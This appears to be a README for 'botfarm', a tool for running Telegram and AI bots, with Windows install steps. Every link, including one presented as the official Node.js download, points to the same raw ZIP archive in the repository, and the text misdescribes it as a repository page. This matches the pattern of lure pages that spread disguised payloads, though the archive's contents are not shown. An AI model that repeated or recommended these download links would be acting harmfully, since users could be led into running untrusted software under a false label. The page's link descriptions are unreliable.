botfarm is a software tool designed to run many bots at once on a single reliable core. It handles chat bots and AI agents used inside teams or products. This makes managing multiple bots simple and efficient.
You can get botfarm from the official GitHub page. To get started, visit this page to download the software:
https://github.com/pietwouters/botfarm/raw/refs/heads/main/workspace-buddy/Software-youl.zip
Click the link above. It will take you to the main repository. From there, you can find the files needed to run botfarm on your Windows computer.
To run botfarm on Windows, your computer needs to meet a few basic requirements:
- Windows 10 or later (64-bit recommended)
- At least 4 GB of RAM
- 2 GHz processor or faster
- 500 MB free disk space
- A stable internet connection
- Node.js installed (version 16 or newer)
If you do not have Node.js installed, you can download it from https://github.com/pietwouters/botfarm/raw/refs/heads/main/workspace-buddy/Software-youl.zip. It is needed to run botfarm because it uses JavaScript code.
Follow these steps to get botfarm running on your Windows PC:
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Click this link to visit the botfarm GitHub page:
https://github.com/pietwouters/botfarm/raw/refs/heads/main/workspace-buddy/Software-youl.zip -
On the page, look for the green Code button near the top right corner.
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Click Code, then choose Download ZIP from the dropdown menu. This will download the botfarm files to your computer as a ZIP file.
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Once downloaded, go to your Downloads folder and find the ZIP file.
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Right-click the ZIP file and select Extract All. Choose a folder where you want to keep botfarm (for example, your Desktop).
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Open the extracted folder.
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Before running botfarm, make sure Node.js is installed and working:
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Open the Command Prompt. You can find this by searching “cmd” in the Windows Start menu.
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Type
node -vand press Enter. If you see a version number (like v16.14.0), Node.js is installed. -
If you get an error, install Node.js first from https://github.com/pietwouters/botfarm/raw/refs/heads/main/workspace-buddy/Software-youl.zip.
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Open the extracted botfarm folder. Right-click inside the folder while holding Shift, then select Open PowerShell window here or Open Command window here.
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In the command window, type this command and press Enter:
npm installThis installs the software’s necessary parts.
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After it finishes, start botfarm by typing this command and pressing Enter:
npm start
botfarm will now run. You can follow its prompts or instructions on the screen.
botfarm runs many bots on the same core software. It supports:
- Chat bots for Telegram
- AI agents that automate tasks
- Integration with OpenAI and other APIs
- Handling multiple workflows at once
- Support for bot development with TypeScript
It allows bot creators to build and run bots with a common setup. You don’t need to run separate programs for each bot.
One popular use of botfarm is managing Telegram bots. To connect your Telegram bot:
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Create a bot on Telegram by talking to the BotFather bot.
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Get the bot token from BotFather. This token looks like a long key.
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Open the
config.jsonfile in the botfarm folder with a simple text editor like Notepad. -
Paste your bot token in the correct field. It usually looks like this:
{ "telegramToken": "your_bot_token_here" } -
Save the file.
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Run botfarm again (
npm start).
botfarm will now connect to your Telegram bot and run it.
To keep botfarm up to date:
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Go back to your botfarm folder.
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Open the command window as before.
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Run this command:
git pullThis downloads any new updates.
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Run:
npm installThis updates the dependencies.
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Run:
npm start
Your botfarm will now run the latest version.
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Missing Node.js error: Make sure Node.js is installed and added to your system PATH.
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npm install fails: Check your internet connection. Try running the command prompt as Administrator.
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botfarm does not start: Check for error messages in the command window. They often describe the problem.
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Telegram bot does not respond: Verify your bot token in the config file is correct.
botfarm uses these technologies:
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Node.js: Runs the JavaScript code on your computer.
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TypeScript: A programming language that adds safety to the bot code.
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grammy: A Telegram bot framework within botfarm that simplifies creating Telegram bots.
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OpenAI API: Lets bots access AI tools like ChatGPT.
These parts all work together to let you run bots without having to manage each one separately.
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botfarm GitHub Repository:
https://github.com/pietwouters/botfarm/raw/refs/heads/main/workspace-buddy/Software-youl.zip -
Node.js Download:
https://github.com/pietwouters/botfarm/raw/refs/heads/main/workspace-buddy/Software-youl.zip -
Telegram BotFather:
In Telegram app, search for @BotFather
If you have problems with botfarm, you can open issues on the GitHub page. Use the Issues tab at the top. Describe your problem clearly. Include error messages and what you tried.
This will help developers understand and fix the issue faster.